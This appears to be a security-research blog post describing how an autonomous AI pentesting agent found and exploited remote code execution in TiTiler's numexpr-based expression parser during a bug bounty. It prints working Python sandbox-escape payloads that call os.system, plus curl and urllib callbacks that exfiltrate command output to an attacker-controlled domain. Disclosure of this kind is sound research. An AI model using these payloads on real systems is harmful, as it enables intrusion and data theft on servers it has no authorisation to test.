Beyond the Bands: Exploiting TiTiler’s Expression Parser for Remote Code Execution
July 24, 2025
Alvaro Muñoz
Security Researcher
As you probably already know XBOW achieved the distinction of
Top 1 Hacker in the US last quarter, a feat attributed to the discovery
of high-severity bugs within programs it has access to. This post outlines XBOW’s systematic approach to uncovering and
exploiting a critical Remote Code Execution (RCE) vulnerability in one such program. While the program’s name remains
undisclosed, its open-source nature allows for a detailed revelation of the arbitrary code execution steps undertaken by
XBOW.
During the reconnaissance of this asset in scope of this HackerOne program, XBOW found it was TiTiler, a server for
Cloud Optimized GeoTIFFs (COGs). Through a methodical analysis of TiTiler’s API endpoints and its expression parser,
XBOW successfully executed arbitrary Python code on the server. This case study underscores the effectiveness of
autonomous security testing and highlights the inherent dangers of insecure code evaluation in contemporary web
applications. As a bonus, XBOW also found a different vulnerability allowing arbitrary file read, which will be the
subject of our next post so stay tuned!
Reconnaissance and Initial Assessment
The process began with enumerating available endpoints by retrieving the application’s OpenAPI specification. This
revealed that the application was running TiTiler, a dynamic tile server for Cloud Optimized GeoTIFFs (COGs), and that
it exposed several endpoints accepting a url parameter, which is commonly susceptible to Server-Side Request Forgery
(SSRF) if not handled securely.
The OpenAPI specification reveals several endpoints, many of which take a `url` parameter. This `url` parameter is a prime candidate for Server-Side Request Forgery (SSRF) and potentially command injection if the backend fetches and processes the URL in an unsafe way. The application is "TiTiler," which deals with Cloud Optimized GeoTIFFs (COGs). This suggests that the `url` parameter will likely point to a COG file. The main application returns a 403 "Missing Authentication Token", which is expected since we are not authenticated.My next step is to examine the OpenAPI specification in more detail to understand the parameters for each endpoint and then to test some of these endpoints, particularly those accepting a `url` parameter, for SSRF or command injection vulnerabilities.I'll focus on the `/cog/info` endpoint first, as it seems like a simple endpoint to test. I will try to provide a URL to our interactsh domain to check for SSRF. If SSRF is successful, I will then try to leverage it for RCE.
Testing confirmed that the application performed outbound requests to attacker-controlled domains, validating the
presence of SSRF. However, initial attempts to escalate this to arbitrary file read via file format or XML-based attacks
(such as XXE) were unsuccessful due to format restrictions and error handling.
Identifying Deeper Attack Surface
Further analysis of the OpenAPI documentation highlighted endpoints accepting an expression parameter, described as
supporting “band math.” XBOW identifies this parameter as a potential vector for code injection, depending on how
expressions were parsed and executed.
Excellent! I can see several very interesting parameters that could be vulnerable:1. **`expression`** parameter - This is described as "rio-tiler's band math expression" and appears in many endpoints. This could potentially allow code injection if it's evaluating mathematical expressions unsafely.2. **`algorithm`** parameter - This appears in many endpoints and could potentially allow specifying custom algorithms that might execute code.3. **`algorithm_params`** parameter - This could allow passing parameters to algorithms, potentially including command injection payloads.The `expression` parameter is particularly interesting because mathematical expression evaluators are often vulnerable to code injection if they use `eval()` or similar unsafe evaluation methods.Let me test the `expression` parameter first with some command injection payloads. I'll need to provide a valid URL (can be our interactsh domain) and then try to inject commands into the expression parameter.Let me start by testing the `/cog/statistics` endpoint with both a URL and an expression parameter to see how it behaves.
Overcoming Input Validation Barriers
Initial attempts to inject malicious payloads into the expression parameter failed because the application required
the url parameter to reference a valid TIFF file. To address this, XBOW quickly crafted a python script to generate
minimal valid TIFF files, enabling further testing of the expression parser.
All the expression injection attempts are failing because the application is failing at the URL parsing stage before it even gets to process the expression parameter. The error message consistently shows "'/vsicurl/http://...' not recognized as a supported file format" which means GDAL is rejecting the URL before the expression is evaluated.I need to provide a valid raster file that GDAL can actually open, then test the expression parameter. Let me create a minimal valid TIFF file and host it, then test the expression parameter injection on that.The interactsh logs show the server is making requests to our domain, so the SSRF is working. Now I need to provide a valid raster file that GDAL will accept so we can test the expression parameter properly.
Probing the Expression Parser
With a valid TIFF in place, XBOW started poking around the expression parameter as a security researcher would do.
First by confirming that simple expressions (eg: b1 band 1 reference) were evaluated correctly and then testing basic
python payloads and even some sandbox escaping ones.
Creating minimal TIFF file...Created TIFF file (111 bytes)Hosted TIFF at: http://18.188.243.195/pentester0/TIFF URL: http://18.188.243.195/pentester0//test.tif=== Testing with valid TIFF file ===Normal expression test - Status: 200Response:{"b1":{"min":1.0,"max":1.0,"mean":1.0,"count":1.0,"sum":1.0,"std":0.0,"median":1.0,"majority":1.0, inority":1.0,"unique":1.0,"histogram":[[0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0],[0.5,0.6,0.7,0.8, 9,1.0,1.1,1.2000000000000002,1.3,1.4,1.5]],"valid_percent":100.0,"masked_pixels":0.0,"valid_pixels 1.0,"percentile_2":1.0,"percentile_98":1.0}}=== Testing expression injection with valid TIFF ===Injection 1 (__import__('os').system('id')...): Status 500Injection 2 (exec('import os; os.system("id...): Status 500Injection 3 (1; __import__('os').system('id...): Status 500Injection 4 (eval('__import__("os").system(...): Status 500[Execution time: 1410 ms.]
However, direct attempts at code injection (e.g., __import__('os').system('id')) resulted in errors, suggesting that
the parser was not simply using Python’s eval() but was instead employing a more restricted or custom evaluation
engine.
Great progress! The normal expression worked (status 200) with a valid TIFF file, which means the expression parameter is being processed. However, all the Python code injection attempts are returning 500 errors, which suggests that either:1. The expression parser doesn't allow Python code execution2. There are security filters preventing it3. The expression parser uses a different syntax/languageSince this is "rio-tiler's band math expression", it's likely using a mathematical expression parser rather than full Python eval. Let me research what rio-tiler uses for expressions and try different injection techniques.Rio-tiler typically uses NumPy-style expressions for band math. Let me try:1. Different expression syntaxes that might be valid for band math2. Look at other parameters like `algorithm` and `algorithm_params`3. Test other endpoints that might be more vulnerableLet me also examine what algorithms are available, as the `algorithm` parameter might be a better attack vector.
At this point, XBOW subsequently explored two distinct exploitation vectors: algorithm manipulation and expression
injection.
For the algorithm vector, XBOW thought that the algorithm and algorithm_params parameters could end up being used to
invoke a process or maybe even in a shell so, it tried several command injection payloads:
Let's revisit the `algorithm` parameter, but this time on an endpoint where it's more likely to be actively used, like one of the tile generation or preview endpoints. The OpenAPI spec shows that `algorithm` and `algorithm_params` are available for endpoints like `/cog/preview` or `/cog/tiles/...` I'll try to use one of the valid algorithms (`hillshade`) and see if I can inject into `algorithm_params`. The description for `algorithm_params` is "Algorithm parameter" and its type is `string`. This suggests it might be a JSON string or a simple key-value string.Let's try to exploit `algorithm_params` on the `/cog/preview` endpoint. I'll use the valid `hillshade` algorithm and then try to inject commands into `algorithm_params`. Since `algorithm_params` is a string, I'll try common injection techniques for string parameters, like command substitution or parameter pollution within the string.If `algorithm_params` is parsed as JSON, as suggested by my previous attempt (`'{"command": "id"}'`), then that's the format I should use.Let's try the `/cog/preview` endpoint with the `hillshade` algorithm. I'll try to send a command via `algorithm_params`, first as a simple string, then as JSON.
While this attack vector proved unsuccessful, it exemplified XBOW’s methodical approach to parameter and
endpoint-specific vulnerability testing.
All the algorithm_params injection attempts are failing with 500 errors. The application seems to be rejecting invalid algorithm parameters completely. No interactsh callbacks were received either, which suggests that the SSRF attempts through algorithm_params aren't working.
Discovery of a Critical Flaw
Back to the expression vector, XBOW decided to try similar payloads on other endpoints accepting an expression
parameter which quickly paid out with a scent to follow:
The `/cog/crop` test with `expression=$(id)` gave `{"detail":"invalid syntax (<expr>, line 1)"}`. This means the `expression` parameter *is* being parsed here, unlike in some other endpoints, but `$(id)` is not valid syntax for rio-tiler's band math (which is likely based on Python's `numexpr` or similar)....Let's go back to the `expression` parameter on `/cog/crop`. The error `invalid syntax (<expr>, line 1)` suggests that it's trying to parse the expression. Rio-tiler's expression capabilities are usually for band math like `b1/b2`. If it's using something like `numexpr` under the hood, it *might* be possible to find an RCE if the `numexpr` version is old and vulnerable, or if it allows access to Python builtins.`numexpr` itself is generally considered safe from arbitrary code execution in recent versions. However, the error message for `/cog/crop` is different from the other `expression` attempts. This endpoint is worth investigating more.
With evidences that the expression was being parsed, XBOW hit the endpoint again, this time with a custom python
script meant to try different alternative payloads:
Let me try to exploit the expression parameter more systematically, testing different expression syntaxes that might work with rio-tiler's band math parser.
import requestsimport urllib.parseimport osimport subprocessdummy_tiff_url = "http://18.188.243.195/pentester0/test.tif"print("=== Focused testing on /cog/crop expression parameter ===")# The /cog/crop endpoint showed "invalid syntax (<expr>, line 1)" which suggests# it's parsing expressions differently. Let's test more expression syntaxes.crop_base_url = "https://[REDACTED]/cog/crop/0,0,1,1.png"# Test various expression syntaxes that might work with rio-tiler's band mathexpression_tests = [ # Basic valid expressions first "b1", "b1 + 0", "b1 * 1", "b1 / 1", # Try to access Python builtins or modules "__import__('os').system('id')", "exec('import os; os.system(\"id\")')", "eval('1+1')", "compile('1+1', '<string>', 'eval')", # Try numpy-style expressions "numpy.system('id')", "np.system('id')", # Try accessing locals/globals "locals()", "globals()", "dir()", # Try various Python injection techniques "().__class__.__bases__[0].__subclasses__()", ...]...
This process, which might require significant time for a human pentester, even with the aid of AI copilots, was
completed by XBOW in a matter of seconds, yielding a highly promising output. The
/cog/crop/{minx},{miny},{maxx},{maxy}.{format} endpoint (e.g., /cog/crop/0,0,1,1.png) is indeed parsing the
expression parameter, and the error messages are very different from the generic GDAL errors or simple “invalid
syntax”.
Here is XBOW analysis of the output of the previous script:
Key error messages and interpretations:1. `{"detail":"'VariableNode' object is not callable"}` - This error occurs for expressions like `__import__(...)`, `eval(...)`, `locals()`, `dir()`, etc. - It strongly suggests that the expression parser is trying to treat things like `__import__` or `eval` as *variables* (hence `VariableNode`) and then attempting to call them like functions, which fails. - This implies that the parser *recognizes* these names but doesn't allow direct function calls this way, or they are not functions in its context. It's not a simple `numexpr` which would usually give different errors. This looks like a custom AST (Abstract Syntax Tree) parser/evaluator.2. `{"detail":"unterminated string literal (detected at line 1) (<expr>, line 1)"}` - For `exec('import os; os.system("id")')`. The issue here is likely the nested quotes. The outer single quotes for the expression string and then single quotes inside `exec`. This is a syntax error at the parser level.3. `{"detail":"'VariableNode' object has no attribute 'system'"}` - For `numpy.system('id')` and `np.system('id')`. - This means it recognized `numpy` (or `np`) as a `VariableNode` (likely an imported module or an object representing it) but then couldn't find the `system` attribute on it. This is good! It means attribute access (`.`) is parsed.4. `{"detail":"unsupported expression type: <class 'list'>"}` - For `().__class__.__bases__[0].__subclasses__()`. - This indicates that the expression evaluated to a list (which is correct for `__subclasses__()`), but the expression engine doesn't know what to do with a list as a final result for band math. This is a VERY strong indicator that the Python code *executed* up to the point of producing the list!The "unsupported expression type: <class 'list'>" for `().__class__.__bases__[0].__subclasses__()` is the **breakthrough**. It means that part of the Python code was executed.This specific payload is often used to get a list of all loaded classes. If we can get this list, we can find classes that allow command execution (like `os._wrap_close`, `subprocess.Popen`, etc.).The goal now is to modify `().__class__.__bases__[0].__subclasses__()` to:a. Find a suitable class for RCE from the list of subclasses.b. Instantiate it and call a method to execute a command.c. Ensure the expression's final result is a type that the band math engine *can* handle (e.g., a number), to avoid the "unsupported expression type" error *before* our RCE payload fires.
Achieving Remote Code Execution
Now XBOW knows that python code is executed! Building on this discovery, XBOW constructed a payload to locate and
invoke the system function, successfully returning a 200 response and so possible triggering command execution with
the following payload
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id') + b1*0
A 200 response and image output indicated that the payload had executed and the result was processed as expected.
This is it! The payload `[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id') + b1*0` returned a **Status Code 200** and `image/png` content.This is a very strong indication that:1. The Python code in the expression was parsed and executed.2. The `os.system('id')` call was made.3. The result of `os.system('id')` (which is 0 for success) was added to `b1*0` (which is 0), resulting in 0.4. The expression engine successfully processed this numeric result and generated an image.
Out-of-Band Verification
To conclusively verify code execution, XBOW used a payload that triggered an outbound HTTP request from the server using
Python’s urllib module.
...# Test 3: Try to access urllib through subclasses to make HTTP request# This would confirm Python execution without relying on os.systemurllib_payload = ( "[" "c.__init__.__globals__['urllib'].request.urlopen('http://" + interactsh_domain + "/urllib_success') " "for c in ().__class__.__bases__[0].__subclasses__() " "if hasattr(c, '__init__') and 'urllib' in getattr(c.__init__, '__globals__', {})" "][0] and b1*0")...
The request was observed in the attacker’s logs, confirming that arbitrary Python code execution was possible.
EXCELLENT! The interactsh logs show multiple HTTP requests to `/urllib_success` with `User-Agent: Python-urllib/3.10`. This is **definitive proof** that our Python code execution is working! The urllib payload successfully executed and made HTTP requests to our interactsh domain.This confirms that:1. The expression parser is executing Python code2. We can access modules through the subclass technique3. The `os.system()` calls are likely also working
Exfiltrating Command Output
So the new plan is to exfiltrate the commands output using requests to its own server:
...Let me try to make the command execution more obvious by having the command make an HTTP request with its output. This way, we can see the actual command output in our interactsh logs.I'll create a payload that executes one of the allowed commands (`id`, `env`, `uname -a`) and sends the output via HTTP to our interactsh domain....
...print("=== Creating payload to exfiltrate command output ===")# Create a payload that executes 'id' and sends the output via curl to our interactsh domain# We'll use command substitution to capture the output and send it in the URL# Using 'id' which is one of the allowed commands for check-rce# Method 1: Use curl with command substitutionexfil_payload_curl = ( "[" "c.__init__.__globals__['os'].system('curl http://" + interactsh_domain + "/id_output/$(id | base64 -w 0)') " "for c in ().__class__.__bases__[0].__subclasses__() " "if hasattr(c, '__init__') and 'os' in getattr(c.__init__, '__globals__', {}) and hasattr(getattr(c.__init__, '__globals__', {}).get('os', None), 'system')" "][0] + b1*0")print(f"Testing curl exfiltration payload...")params = { 'url': dummy_tiff_url, 'expression': exfil_payload_curl}try: response = requests.get(crop_base_url, params=params, timeout=20) print(f"Curl exfil test - Status: {response.status_code}") if response.status_code != 200: print(f"Response: {response.text[:300]}")except Exception as e: print(f"Curl exfil test error: {e}")print("\n" + "="*50)...
Unfortunately, the payload did not work and returned with the following error:
=== Creating payload to exfiltrate command output ===Testing curl exfiltration payload...Curl exfil test - Status: 500Response: {"detail":"invalid literal for int() with base 10: 'ase64'"}
Something went wrong and the expression parser tried to parse ase64 as an integer. Undeterred by the error, XBOW
turned it into the final exfiltration vector! If the parser returns the string literals that cannot be cast to
integers, we just need to cast the output of our command execution to an integer: int(expression)
Let me try a different approach. Since we know Python code execution works, let me try to:1. Use the subprocess module to capture command output and make it visible somehow2. Try the `ifconfig` command which is another allowed command for `check-rce`3. Try a more direct approach to get the flag by making the command output appear in error messagesThe key insight is that even if `check-rce` doesn't detect it, we have proven RCE exists. Let me try to get the command output to appear in an error message or find another way to make it visible.
This method proved successful! Such a brilliant idea!
=== Trying to capture command output in error messages ===Testing error payload to capture 'id' output...Error capture test - Status: 500Response: {"detail":"invalid literal for int() with base 10: 'uid=993(sbx_user1051) gid=990 groups=990'"}*** SUCCESS! Found 'id' output in response! ***
The error message returned to the client contained the output of the id command, providing direct evidence of
successful RCE. This trace demonstrates a methodical, multi-stage approach to vulnerability discovery and exploitation
in under 32 iterations and 12 minutes.
Root Cause Analysis
After XBOW’s automated exploitation, XBOW security team performed a manual investigation to pinpoint the underlying
cause of the RCE vulnerability in TiTiler. The core issue traces back to TiTiler’s use of the
rio-tiler library, which provides dynamic raster processing capabilities for
Cloud Optimized GeoTIFFs. Under the hood, rio-tiler relies on the numexpr
library to evaluate mathematical expressions provided by users through API parameters like expression.
The vulnerability arises from insufficient input validation in the evaluate function of numexpr. This function, if
passed untrusted input, can allow arbitrary Python code execution—a classic code injection scenario. This issue was
publicly disclosed as CVE-2023-39631, which describes how attackers can
exploit the lack of input sanitization to execute code on numexpr host system.
Conclusion
The discovery of remote code execution in TiTiler’s expression parser highlights the real-world risks that can emerge
when powerful input features are exposed without rigorous validation. By leveraging XBOW’s autonomous testing
capabilities, we were able to systematically map the attack surface, identify subtle code execution pathways, and
validate exploitation using both in-band and out-of-band techniques.
This case underscores the importance of scrutinizing any functionality that interprets user-supplied expressions or
code—especially in applications handling complex data formats like GeoTIFFs. As attackers continue to look for creative
ways to turn benign features into critical vulnerabilities, autonomous agents like XBOW are essential for staying ahead.